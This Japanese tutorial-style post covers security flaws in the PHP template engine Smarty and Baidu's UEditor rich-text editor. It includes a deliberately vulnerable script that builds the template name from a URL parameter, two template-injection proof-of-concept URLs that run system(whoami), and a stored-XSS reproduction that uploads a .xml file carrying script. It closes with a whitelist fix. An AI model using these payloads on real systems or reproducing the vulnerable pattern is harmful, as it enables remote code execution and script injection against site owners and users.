PHPテンプレートエンジンSmartyとリッチテキストエディタUEditorのセキュリティ

1. Smarty

1.1. Smartyとは?

SmartyはPHP用のテンプレートエンジンであり、プレゼンテーション(HTML/CSS)とアプリケーションロジックを分離することを容易にします。簡単に言えば、PHP Web開発で使用されるサードパーティコンポーネントで、テンプレートエンジンの機能を実装しています。

テンプレートエンジンの目的は、ソースコードのプレゼンテーション層とアプリケーションコードを分離することです。開発時には、ページデザイナーとバックエンド開発者がそれぞれの専門分野に集中でき、互いを気にせずに作業できます。また、開発者がテンプレートやアプリケーションロジックを変更する際も、相互に影響を与えることを考慮する必要がありません。

1.2. 基本的なデモ

Smartyの基本的な使い方を簡単なデモで確認します。ここではSmartyバージョン3.1.38とPHPバージョン7.3.4を使用します。

まず、テンプレートファイル(index.tpl)を作成します。このファイルはHTMLとCSSで構成されており、Smartyの変数({$変数名})が含まれています。

{* Smartyテンプレート *}

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{$page_title}</title>
    <style>
        body {
            margin: 0; display: flex; justify-content: center; align-items: center;
            height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;
        }
        h1 { color: #4caf50; }
        .elephant { font-size: 100px; }
    </style>
</head>
<body>
    <h1>{$main_content}</h1>
    <div class="elephant">{$emoji}</div>
</body>
</html>

{* Smartyテンプレート *}

次に、このテンプレートをレンダリングするPHPスクリプト(render.php)を作成します。

<?php
// Smartyクラスをインクルード
require '../smarty/smarty-3.1.38/libs/Smarty.class.php';

// Smartyインスタンスを生成
$template_engine = new Smarty();

// ディレクトリ設定
$template_engine->setTemplateDir('./templates');
$template_engine->setCompileDir('./templates_c');
$template_engine->setConfigDir('./configs');
$template_engine->setCacheDir('./cache');

// 変数をテンプレートに割り当て
$template_engine->assign('page_title', 'エレファント');
$template_engine->assign('main_content', 'これは可愛い象です!');
$template_engine->assign('emoji', '🐘');

// テンプレートを表示
$template_engine->display('index.tpl');
?>

このPHPスクリプトは、テンプレートファイルに変数を割り当てて表示します。Smartyは、テンプレートファイルをコンパイルし、templates_cディレクトリにPHPファイルとして保存します。このコンパイルされたファイルが最終的にユーザーに提供されるページとなります。

1.3. セキュリティ問題:テンプレートインジェクション

Smartyのテンプレートエンジンは、テンプレートファイルをPHPコードにコンパイルします。もしユーザーが制御できる入力がテンプレートのファイル名に渡されると、任意のコードを実行される脆弱性が発生する可能性があります。

以下は、脆弱なPHPスクリプトの例です。ここでは、$_GET['view']パラメータがテンプレートファイル名として直接使用されています。

<?php
require '../smarty/smarty-3.1.38/libs/Smarty.class.php';

$template_engine = new Smarty();
$template_engine->setTemplateDir('./templates');
$template_engine->setCompileDir('./templates_c');

// ユーザー入力をそのままテンプレートファイル名として使用
$template_name = $_GET['view'] . '.tpl';
$template_engine->display($template_name);
?>

このような構成の場合、攻撃者は以下のようなリクエストを送信することで、任意のPHPコードを実行できます。これはSmartyのバージョンによって異なるPOC(Proof of Concept)が存在します。

POC 1 (Smarty 3.1.38以下):

/render.php?view=string:{function name="x(){};system(whoami);function "}{/function}

POC 2 (Smarty 4.5.5):

/render.php?view=string:{$template_engine->template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

2. UEditor

2.1. UEditorとは?

UEditorは、百度(Baidu)のWebフロントエンド開発チームが開発したリッチテキストWebエディタです。しかし、現在は更新が停止されており、最新バージョンは2016年8月10日にリリースされた1.4.3.3です。プロジェクトアドレス:https://github.com/fex-team/ueditor

2.2. UEditorのセキュリティ問題:ストアドXSS

UEditorのファイルアップロード機能には、ストアドXSS(保存型クロスサイトスクリプティング)脆弱性が存在する可能性があります。ここでは、バージョン1.4.3.3のPHP版を対象に、この脆弱性の再現手順を説明します。

まず、UEditorをHTMLページに組み込みます。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ueditor demo</title>
</head>
<body>
    <!-- エディタをロードするコンテナ -->
    <script id="container" name="content" type="text/plain"></script>
    <!-- 設定ファイル -->
    <script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.config.js"></script>
    <!-- エディタのソースファイル -->
    <script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.all.js"></script>
    <!-- エディタのインスタンス化 -->
    <script type="text/javascript">
        var ue = UE.getEditor('container');
    </script>
</body>
</html>

次に、Burp Suiteなどのプロキシツールを使用して、画像アップロードのリクエストをキャプチャします。攻撃者は、アップロードするファイルの拡張子を`.xml`に変更し、ファイルの内容を以下のようなXSSペイロードにします。

<html xmlns="http://www.w3.org/1999/xhtml">
    <script type="text/javascript">
      // ページが読み込まれたらアラートを表示
      window.onload = function () {
        alert("FBI WARNING!!!");
      };
    </script>
</html>

このファイルをアップロードすると、サーバー上に悪意のあるコードが保存されます。その後、このファイルにアクセスするたびに、保存されたスクリプトが実行され、XSS攻撃が成立します。

UEditorはファイルのアップロードタイプをホワイトリストで制限していますが、`.xml`はそのリストに含まれているため、この攻撃が可能になります。もし開発者がこのホワイトリストから`.xml`を削除すれば、この特定の攻撃は防げます。

タグ: PHP Smarty UEditor テンプレートインジェクション ストアドXSS

6月30日 16:15 投稿